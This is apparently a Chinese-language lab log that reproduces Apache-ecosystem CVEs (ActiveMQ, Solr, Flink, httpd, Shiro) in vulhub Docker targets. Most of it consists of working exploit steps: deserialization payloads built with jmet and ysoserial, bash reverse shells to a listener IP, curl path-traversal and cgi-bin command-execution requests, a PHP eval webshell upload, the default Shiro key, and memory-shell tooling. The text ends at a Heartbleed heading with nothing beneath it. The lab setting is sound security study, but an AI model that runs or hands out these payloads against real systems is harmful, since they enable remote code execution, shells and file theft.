vulhub复现
vulhub复现记录
借鉴大佬的博客:drinkflower的主页
CVE-2015-5254(ActiveMQ的反序列化与rce)

关于ActiveMQ
1 | ActiveMQ是一个由Apache软件基金会开发的一个开放源代码的纯Java程序式的消息中间件,消息的发送和接收是异步的,在合适的时候发送给接收者 |
而本漏洞原理就是远程攻击者可借助特制的序列化Java Message Service的ObjectMessage对象利用该漏洞执行任意代码
复现
下载jmet的jar包
1 | wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar |

在jmet的jar包的保存目录下执行命令:
1 | java -jar jmet-0.1.0-all.jar -Q myevent -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME 127.0.0.1(你的目标机的ip) 61616 |

上面命令只是向ActiveMQ发送了一个带有恶意的消息,但是并没有被执行,但是因为我们是以管理员登录的,所以直接点击就行,现实情况下应该是需要诱导管理员进行点击的

使用docker exec命令来连接docker的shell,看一下tmp目录有没有sucess文件(-i后面接docker ps查看到的容器id,/bin/bash是指定终端程序)
1 | docker ps |

确实有success文件,说明是存在rce的,应该也需要提权,这里就先监听端口
1 | nc -lvnp 8888 |
这里需要将命令进行base64编码,将base64编码并执行的语句为
1 | bash -c {echo,命令的base64编码}|{base64,-d}|{bash,-i} |
使用在线网站编码反弹shell的命令
1 | bash -i >& /dev/tcp/192.168.1.101/8888 0>&1 |
再在kali中使用jmet的rce进行反弹shell
1 | java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,IGJhc2ggLWkgPiYgL2Rldi |

这时候我们可以在管理面板发现有新消息,点击一下

现在我们发现监听的端口就有了shell,并且直接是root权限

复现成功
CVE-2017-12629(Apache Solr远程命令执行)

1 | Apache Solr 是基于 Apache Lucene 构建的一个开源的搜索平台,提供了全文搜索、分析、过滤、排序等功能。它扩展了 Apache Lucene 并提供了更丰富的功能,能够构建复杂的搜索应用程序。在 CVE-2017-12629 漏洞中,Apache Solr 是受影响的组件,由于漏洞的存在,可能导致远程代码执行。 |
从面板中我们可以得知Apache Solr和Apache Luence两个组件的版本均符合要求
复现
在Apache Solr中,能够触发命令执行的方式有两种,分别是postCommit和newSearcher
1 | 在 Apache Solr 中,postCommit 和 newSearcher 是与索引操作和搜索操作相关的事件触发器。它们可以用于在索引提交 |
通过newSearcher进行命令执行的话,一个数据包即可
1 | POST /solr/demo/config HTTP/1.1 |
对于上面这个数据包有一点需要注意的是后面一部分里的name是可以随便取的,并且可重复发包,但是这个name不能重复,一旦重复就会发生报错

最后一部分就是我们想要执行的命令,这里我们连接容器的shell进去看看文件是否创建成功,也就是命令是否被成功执行了
1 | docker exec -i 6545c241717e /bin/bash |

可以看到我们创建成功了,也就是说命令成功执行,那我们下一步就执行反弹shell,先在kali上监听4441端口:
1 | nc -lvnp 4441 |
然后发包(记得改name)
1 | POST /solr/demo/config HTTP/1.1 |

这里可以看到数据包上传成功了,但是在我们所监听的端口没有得到回应,试了好几次都失败了,不管了,万一本身就不能弹shell呢,反正证明了这个rce确实是存在的。
CVE-2019-0193(Apache solr远程命令执行)
本次的cve针对的还是solr,和上面的服务是一样的,这里就不再介绍一遍了

我们可以看到,版本升级为了8.1.1,这样子就不符合上一个漏洞的条件了
1 | 此漏洞存在于可选模块DataImportHandler中,DataImportHandler是用于从数据库或其他源提取数据的常用模块,该模块中所有DIH配置都可以通过外部请求的dataConfig参数来设置,由于DIH配置可以包含脚本,因此该参数存在安全隐患。攻击者可利用dataConfig参数构造恶意请求,实现远程代码执行。 |
根据上面对面板的截图,可以看到这个版本是符合漏洞利用条件的。
复现
这里对于复现的第一步做一个解释,CVE-2019-0193和上面的CVE-2017-12629不一样的是此环境没有自带的core,那什么是core呢
1 | 在 Apache Solr 中,"core" 是一个重要的概念,它表示了 Solr 实例中的一个独立的、可搜索的索引。每个 Solr 实例可 |
所以第一步我们需要创建一个core
1 | docker exec -i 4f80f15c3abe /bin/bash |
先连上镜像内部的shell,后面这一步就创建了一个名为liberator的core

我们将Configuration里面的内容全部替换为我们自己的poc(由exec命令在/tmp目录下创建一个success文件)
1 | <dataConfig> |
点击Execute with the configuration之后,再由我们连接的镜像内部的shell来看看是否创建成功

可以看到已经创建成功了。
当然我们也可以利用这个漏洞尝试进行反弹shell
1 | <dataConfig> |
不知道为啥反弹shell又失败了,但是可以RCE对于漏洞的复现已经完成了
CVE-2020-17519(Apache Flink目录遍历漏洞)
1 | Apache Flink 是一个分布式系统,它需要计算资源来执行应用程序。Flink 集成了所有常见的集群资源管理器,例如 Hadoop YARN、 Apache Mesos和Kubernetes,但同时也可以作为独立集群运行。 |
访问8081端口,看到如下面板,可以看到版本为1.11.2,是符合漏洞利用条件的

Apache Flink 的 6123 端口用于 Flink 的远程通信和管理,主要用于与 Flink 集群中的 JobManager 通信。
1 | JobManager 是 Flink 集群的主要协调节点,负责接收和调度提交的作业(jobs),管理任务的调度和执行,并提供了 REST 接口供用户和外部系统与 Flink 集群进行交互。 通过 6123 端口,您可以使用 Flink 的 REST API 与 Flink 集群进行交互,例如提交作业、查询作业状态、获取作业详情 等操作。这是与 Flink 集群进行远程管理和监控的入口之一。 |
关于8081端口
1 | 8081 端口用于 Flink 的 Web UI 界面和 REST 接口。Flink 的 Web UI 提供了一个用户界面,允许您监控和管理正在执行 的作业、任务、JobManager 和 TaskManager 的状态等。此外,8081 端口还提供了 Flink 的 REST API,允许您通过 HTTP 请求与 Flink 集群进行交互,例如提交作业、查询作业状态、获取作业计数等。 |
6123 端口用于 Flink 内部组件之间的通信,而 8081 端口用于提供用户界面和与 Flink 集群进行交互的 REST 接 口。所以我们打的是8081端口(也可能被改成其他的了,反正是提供ui的那个端口)
直接使用poc的生成进行目录穿越
1 | http://192.168.10.129:8081/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd |

可以看到读取成功,复现完成
这里附上相关脚本,因为实战不一定需要穿越这么多层目录
1 | import requests |
这个脚本会先拿/etc/passwd测试是否读取成功来判断是否存在漏洞,如果存在就可以直接读取了,这里贴一份linux都有的文件,并且不需要root直接就能读的,因为这个漏洞读文件是没有root的,感觉比较鸡肋,得配合别的漏洞才能打
1 | /etc/passwd: 包含有关系统用户的信息。 |
CVE-2020-17518(Apache flink远程代码执行漏洞)
由于CVE-2020-17519也是关于介绍Apache flink的,所以就不再进行叙述了。
1 | Flink在1.5.1版本中引入了一个REST handler,这允许攻击者将已上传的文件写入到本地任意文件中,并且可通过一个恶意修改的HTTP头将这些文件写入到Flink 1.5.1可以访问的任何位置 |
如果要使用REST handler,需要执行以下步骤
1 | 在Flink 配置文件中,您需要启用REST接口,找到以下配置项并设置为true: |
一旦启用了REST接口,可以使用任何HTTP请求的工具(例如curl、Postman、浏览器等),来与Flink集群进行交互,例如,要提交一个作业,可以使用POST请求来提交作业的JAR文件:
1 | curl -X POST -H "Expect:" -F "jarfile=@/path/to/your/job.jar" http://localhost:8081/jars/upload |
要查询作业,可以使用get请求
1 | curl http://localhost:8081/jobs |
在 Apache Flink 中,一个”作业”(Job)是指一个由一个或多个数据流转换操作组成的数据处理流程。这个流程通常是用户编写的代码,用于在分布式环境中执行数据处理任务。作业描述了数据的输入、转换操作以及输出。它包含了以下部分
1 | 数据源(Source):作业通常从一个或多个数据源获取输入数据。数据源可以是文件、消息队列、套接字等。 |
漏洞利用条件
1.5.1<=Apache Flink<=1.11.2
复现

访问目标机的8081端口,从面板可以看到Apache flink版本为1.11.2,符合漏洞要求
利用方法就是发送一个post的包,模板如下:
1 | POST /jars/upload HTTP/1.1 |
1 | POST /jars/upload HTTP/1.1 |

可以看到写入成功,老样子,我们还是连接镜像内部的shell,来检验文件是否写入
1 | docker exec -i e1ceeb97b6f9 /bin/bash |

可以看到文件写入成功
CVE-2021-40438(Apache server mod_proxy的SSRF漏洞)
apache的服务就不说了,天天用.其中mod_proxy模块是用于反向代理的模块,它允许将客户端请求代理到另一个服务器上。反向代理的概念是客户端将请求发送给一个服务器,但实际上请求会被代理服务器转发到另一个目标服务器上,然后将目标服务器的响应返回给客户端。 使用mod_proxy模块时,需要在Apache的配置文件中进行相应的配置。以下是一个简单的示例配置:
1 | apacheCopy codeLoadModule proxy_module modules/mod_proxy.so |
上述配置中,ProxyPass将所有对example.com的请求代理到backend-server上,并且ProxyPassReverse用于修改响应中的Location头,确保响应正确返回给客户端。 mod_proxy模块存在一处逻辑错误导致攻击者可以控制反向代理服务器的地址,进而导致SSRF漏洞。
漏洞利用条件为apache v2.4.48 及以下版本 漏洞复现
复现
先访问一下服务,docker ps可以看到服务开在了8080端口.这里访问可以看到一个Apache Tomcat的示例页面,此时Apache HTTP Server是以中间反代服务器的身份,运行在客户端(用户)和后端服务器(Tomcat)之间,Apache和Tomcat通过AJP协议进行通信。
1 | AJP(Apache JServ Protocol)协议是一种用于连接Web服务器(如Apache HTTP Server)与Java应用服务器(如 |

使用发包就可以达到目的,发包示例如下
1 | GET /?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|http://www.baidu.com/ HTTP/1.1 |

可以看到成功出现302跳转
CVE-2021-41773(Apache HTTP Server路径穿越漏洞)
在其2.4.49版本中,引入了一个路径穿越漏洞,这个漏洞有两种利用方式,在严格情况下可以实现任意文件读取(一般web服务器也不是拿root运行的,就只能读非root文件了),如果开启了cgi或cgid,可以实现rce
在 Apache HTTP Server 中,CGI(Common Gateway Interface)和 CGID(CGI Daemon)是用于处理动态内容的机制。它们允许 Web 服务器与外部程序(通常是脚本或可执行文件)进行交互,生成动态的 Web 页面内容。CGI 机制允许将用户的请求传递给一个外部脚本或程序,然后将该程序的输出作为响应返回给客户端。
要使用 CGI 或 CGID,你需要编写一个符合 CGI 协议的程序或脚本,该程序会接收请求参数,处理请求并生成响应。然后,你需要在 Apache HTTP Server 的配置中启用 CGI 或 CGID 模块,并将请求映射到你编写的 CGI 程序或脚本。 在 Apache 的配置文件中,使用类似以下的配置来启用 CGI 模块并将请求映射到某个目录下的 CGI 脚本:
1 | apacheCopy codeLoadModule cgi_module modules/mod_cgi.so |
在这个示例中,LoadModule行启用了 CGI 模块, 部分指定了 CGI 脚本所在的目录,并通过 Options +ExecCGI和AddHandler 配置来告诉 Apache 如何处理 CGI 脚本。 然后,你可以在指定的目录下编写 CGI 脚本(如 Perl、Python 等脚本),当客户端请求访问这些脚本时,Apache 会将请求传递给相应的 CGI 程序,然后将生成的响应返回给客户端。 这个漏洞的利用条件是版本等于2.4.49,如果需要打rce,则需要穿越的目录允许被访问,比如配置了Require all granted(默认情况下是不允许的)
1 | 在Apache HTTP Server(通常称为Apache)的配置中,Require all granted 是一个用于控制访问权限的配置指令。它用 |
复现
这个环境就遇到一定的问题,我们直接在windows浏览器里访问不了

我们回到虚拟机ping一下主机

发现是可以ping通的
那我们尝试用nmap扫一下存活端口

8080整了一个filtered,给拦截了
这里不想进容器改了,直接上poc
1 | curl -v --path-as-is http://靶机IP和端口/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd |
CVE-2021-42013(Apache HTTP Server路径穿越漏洞)
Apache官方在2.4.50版本中对2.4.49版本中出现的目录穿越漏洞CVE-2021-41773进行了修复,但这个修复并不完整
攻击者依旧可以读取Apache服务器Web目录以外的其他文件,或者读取Web目录中的脚本文件源码,也可以在开启了cgi或者cgid的服务器上执行任意命令
漏洞利用条件是Apache HTTP Server2.4.49以及2.4.50两个版本
复现

可以看到这下子成功开启了页面服务
既然和41773这个CVE类似,我们就尝试一下41773的poc
1 | curl -v --path-as-is http://192.168.10.129:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd |

发现失败了,但是我们上面说过42013对漏洞的修复并不完整,我们将%2e再次进行编码(%%32%65)
1 | curl -v --path-as-is http://192.168.10.129:8080/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/ |

可以看到读取成功,但是除了读取,还可以尝试进行rce,这里就不试41773的poc了,直接使用二次编码的
1 | curl -v --data "echo;ls" 'http://192.168.10.129:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' |

可以看到命令执行成功
那我们尝试一下反弹shell
1 | nc -lvnp 8888 |
这样子直接反弹失败了,看了教程才想起可以将命令写入文件,然后再执行
1 | curl -v --data "echo;echo 'bash -i >& /dev/tcp/192.168.10.129/8888 0>&1'>> /tmp/shell.sh" |

然后再用cat读取文件
1 | curl -v --data "echo;cat /tmp/shell.sh" 'http://192.168.10.129:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65 |

可以看到文件内容写入成功,下一步就是执行
1 | curl -v --data "echo;bash /tmp/shell.sh" 'http://192.168.10.129:8080/cgi- |

反弹shell成功,看来以后得试试写入文件执行来反弹shell
CVE-2016-4437(Apache shiro反序列化漏洞复现)
Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。它独立于任何容器或框架,所以可以搭配别的组件使用,包括以下功能
1 | 身份验证(Authentication):Shiro 可以处理用户身份验证,包括用户名/密码验证、多因素身份验证、记住我功能等。它 |
Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会将用户信息加密,加密过程:用户信息=>序列化=>AES加密=>base64编码=>RememberMe Cookie值。如果用户勾选记住密码,那么在请求中会携带cookie,并且将加密信息存放在cookie的rememberMe字段里面,在服务端收到请求对rememberMe值,先base64解码然后AES解密再反序列化,这个加密过程如果我们知道AES加密的密钥,那么我们把用户信息替换成恶意命令,就导致了反序列化RCE漏洞。在shiro版本<=1.2.4中使用了默认密钥kPH+bIxk5D2deZiIxcaaaA==,这就更容易触发RCE漏洞。
所以我们payload的产生过程是:
命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值
漏洞验证
1.未登录的情况下,请求包的cookie中没有rememberMe字段,返回包set-Cookie里也没有deleteMe字段
2.登录失败的话,不管有没有勾选RememberMe字段,返回包都会有 rememberMe= deleteMe 字段
3.不勾选RememberMe,登录成功的话,返回包set-Cookie里有rememberMe=deleteMe字段。但是之后的所有请求中Cookie都不会有RememberMe字段
4.勾选RememberMe,登录成功的话,返回包set-Cookie里有rememberMe=deleteMe字段,还会有remember 字段,之后的所有请求中Cookie都会有rememberMe字段
5.或者可以在cookie后面自己加一个rememberMe=1,看返回包有没有rememberMe= deleteMe
复现

法1
这里我们就使用专门针对java反序列化的工具:ysoserial
先进行下载
1 | wget https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar |
这里还需要一段生成payload的代码
1 | import sys |
使用ysoserial生成CommonsBeanutils1的Gadget:
1 | java -jar ysoserial-master-SNAPSHOT.jar CommonsBeanutils1 "touch /tmp/liberator" > poc.ser |
Gadget 是指在 Java 序列化漏洞利用中使用的特定类或对象。攻击者可以构造特定的序列化数据,通过利用目标应用程序中的反序列化过程中的漏洞,触发 Gadget 的执行从而执行恶意代码。Gadget 通常是由一系列利用链构成的,其中一个 Gadget 可能依赖于另一个 Gadget 的执行结果。Gadget 的目的是利用目标系统中存在的弱点,例如不安全的反序列化实现,最终达到远程代码执行的目的。
CommonsBeanutils1是Apache Commons Beanutils 库的一个旧版本,其中存在一个已知的 Java 序列化漏洞。该漏洞可以被恶意利用来执行远程代码,可能导致远程代码执行漏洞(Remote Code Execution Vulnerability)
这个漏洞的本质就是1.2.4及以前版本的shiro的RememberMe功能存在rce可以执行反序列化漏洞,并且这个功能使用了具有反序列化漏洞的CommonsBeanutils1,可以使用CommonsBeanutils1的链子来触发反序列化攻击
然后再用python脚本生成payload:
1 | python3 poc.py |
再将生成的payload填入抓到的请求包里就成功写入了

法2
使用工具,工具地址:https://github.com/j1anFen/shiro_attack

爆破出密钥

再点击爆破利用链,得到链子为CommonsBeanutils1

可进行命令执行

这里执行内存码,执行之后用蚁剑进行连接,发现蚁剑连接的返回数据为空,这里就尝试使用冰蝎,因为冰蝎也是AES加密,执行流量加密之后难以被检测(这里发生一个小错误,内存马类型用什么连接就应该用什么内存马类型,下面就改成冰蝎了)
冰蝎地址:https://github.com/rebeyond/Behinder/releases/tag/Behinder_v3.0_Beta_11
所以就使用冰蝎进行连接,右键新增输入shiro工具的url和密码,进行连接


好,shell连接成功
CVE-2017-15715(Apache HTTPd换行解析漏洞)
- 我们通常所说的Apache HTTP Server,通常指的是整个软件包,它包括了HTTP服务器的核心功能、模块化架构、配置文件、运行时环境等。Apache HTTP Server 提供了完整的 Web 服务器解决方案,可以用于托管和提供网站内容。
- 而 httpd 则是 Apache HTTP Server 的具体可执行程序的名称(通常在 Unix/Linux 系统上)。通过运行 httpd守护进程,Apache HTTP Server 开始监听指定的端口(例如默认的80端口),接收来自客户端的HTTP请求,并根据配置文件进行相应的处理和响应。
- httpd可以通过mod_php来运行PHP网页。其存在一个解析漏洞,在解析PHP时,如1.php0x0A将被按照1.php进行解析,导致绕过一些服务器的安全策略。
- mod_php 是 Apache 的一个模块,它允许将 PHP 解释器嵌入到 Apache 的进程中,并通过该模块将 PHP 代码集成到 Apache 的请求处理流程中。当 Apache 收到一个包含 PHP 代码的网页请求时,mod_php 模块负责解析该请求,将 PHP 代码交给 PHP 解释器进行解释执行,然后将执行结果返回给客户端浏览器。
除了mod_php之外,还存在其他方式来运行PHP网页,以下是一些常见的替代方法:
1 | 1. PHP-FPM(PHP FastCGI Process Manager):PHP-FPM 是一个独立的进程管理器,通过 FastCGI 协议与 Web 服务器 |
此漏洞利用条件为apache版本在2.4.0-2.4.29
复现

可以看到是一个文件上传界面,上传上去的文件会被改一个名字,我们随便上传一个木马文件,文件内容:
1 | <?php @eval($_POST['cmd']);?> |

上传失败,将文件后缀改成双写php或者大小写交替都不行,那么就试试将文件后缀改为txt

上传成功,说明过滤的是php后缀,根据这个漏洞,1.php0X0A(16进制的0X0A)和1.php具有相同效果,所以可以抓包在文件名后面插一个16进制 因为burpsuit的16进制
编辑器不能插入只能修改,所以提前在evil.php的后面加一个空格,然后把空格对应的0d改成0a就可以了

然后连接shell

shell连接成功
CVE-2010-3863(Apache Shiro认证绕过漏洞)
由于CVE-2016-4437也是关于Apache Shiro的,所以这里就不再对于基础服务做介绍了
- Apache Shiro在使用Spring动态控制器时,攻击者通过构造..;这样的跳转,可以绕过Shiro中对目录的权限限制。
- “Spring动态控制器”指的是基于 Spring 框架的控制器(Controller),它们负责处理 Web 请求并返回相应的响应。Spring MVC 是一个常见的 Web 应用程序框架,提供了一种声明式的方式来定义和处理控制器。
- 在用户访问路径的时候会经过以下步骤:
1 | 1. 用户发送请求。 |
- 路由也是在 Web 框架中实现的,但它是用来配置和管理请求的映射规则。路由定义了请求的路径和对应的处理器(可能是控制器),以便框架能够将请求分派给正确的处理程序。
- 路由确定了用户请求应该被传递给哪个控制器进行处理。路由的配置规则定义了请求的 URL 或路径与相应控制器之间的映射关系。通过路由配置,Web 框架能够将特定的请求路由到正确的控制器。
- 控制器负责接收用户请求并处理相关的业务逻辑。当用户发送请求时,路由将请求分派给相应的控制器,控制器根据请求的内容进行处理,并生成适当的响应数据。
- 控制器通常是在 Web 框架(如Spring MVC、Express.js等)中作为对象或类进行实现。控制器通过定义请求映射(Request Mapping)来监听特定的 URL 或路由,从而接收用户的请求。控制器可以包含多个方法,每个方法处理不同的请求。
漏洞利用条件是Apache Shiro版本在1.1.0以前
复现

对于shrio有许多拦截器
1 | AuthenticationInterceptor:用于验证用户身份信息,确保用户已经通过身份验证。如果用户未通过身份验证,则该拦截器 |
用户可以在Shiro.ini编写匹配URL配置,将会拦截匹配的URL,并执行响应的拦截器。从而实现对URL的访问控制,URL路径表达式通常为ANT格式。如下配置,访问 /index.html主页的时候,Shiro将不会对其进行登录判断,anon拦截器不需要登录就能进行访问。而对于/user/xiaoming 等 /user/xiaogang等接口,authc拦截器将会对其进行登录判断,有登录认证才能访问资源。
在最早的另一个漏洞中,*表示匹配零个或多个字符串,/可以匹配/hello,但匹配不到/hello/因为通配符无法匹配路径。
如果我们给/hello链接设置了拦截器,访问/hello将会被进行权限判断,如果请求的URI为/hello/呢,/*URL路径表达式将无法正确匹配,放行。然后进入到spring(Servlet)拦截器,spring中/hello形式和/hello/形式的URL访问的资源是一样的。那么就实现了没有登录就越权访问了/hello目录
直接请求管理页面/admin/,无法访问,将会被重定向到根目录
1 | GET /admin HTTP/1.1 |

构造恶意请求/./admin,即可绕过权限校验,访问到管理页面
1 | GET /./admin HTTP/1.1 |

CVE-2020-1957(Apache Shiro认证绕过漏洞)
还是shiro框架,就不对服务做介绍了
复现
先访问一下web页面

在CVE-2010-3863中我们得知
1 | 用户可以在Shiro.ini编写匹配URL配置,将会拦截匹配的URL,并执行响应的拦截器。从而实现对URL的访问控制,URL路径表 |
这次的CVE产生于shiro在uri进拦截器之前使用了RequestUri函数中调用decodeAndCleanUriString函数对URI进行清洗。如果URI中存在;号的话,则会删除其后面的所有字符。
清洗函数在源码中具体实例如下:
1 | private static String decodeAndCleanUriString(HttpServletRequest request, String uri) { |
这样,在被过滤器检查的时候类似于/miao;/../hello/1/最终也就变成了/miao,而进spring之前不会被清洗,所以正常解析到/miao;/../hello/1/
所以也就知道该怎么做了
1 | GET /admin HTTP/1.1 |

直接访问/admin失败了,会被重定向到根目录
构造恶意请求/xxx/..;/admin/,即可绕过权限校验,访问到管理页面
1 | GET /xxx/..;/admin/ HTTP/1.1 |

这样就成功访问到了管理页面。
CVE-2014-0160(OpenSSL心脏出血漏洞)
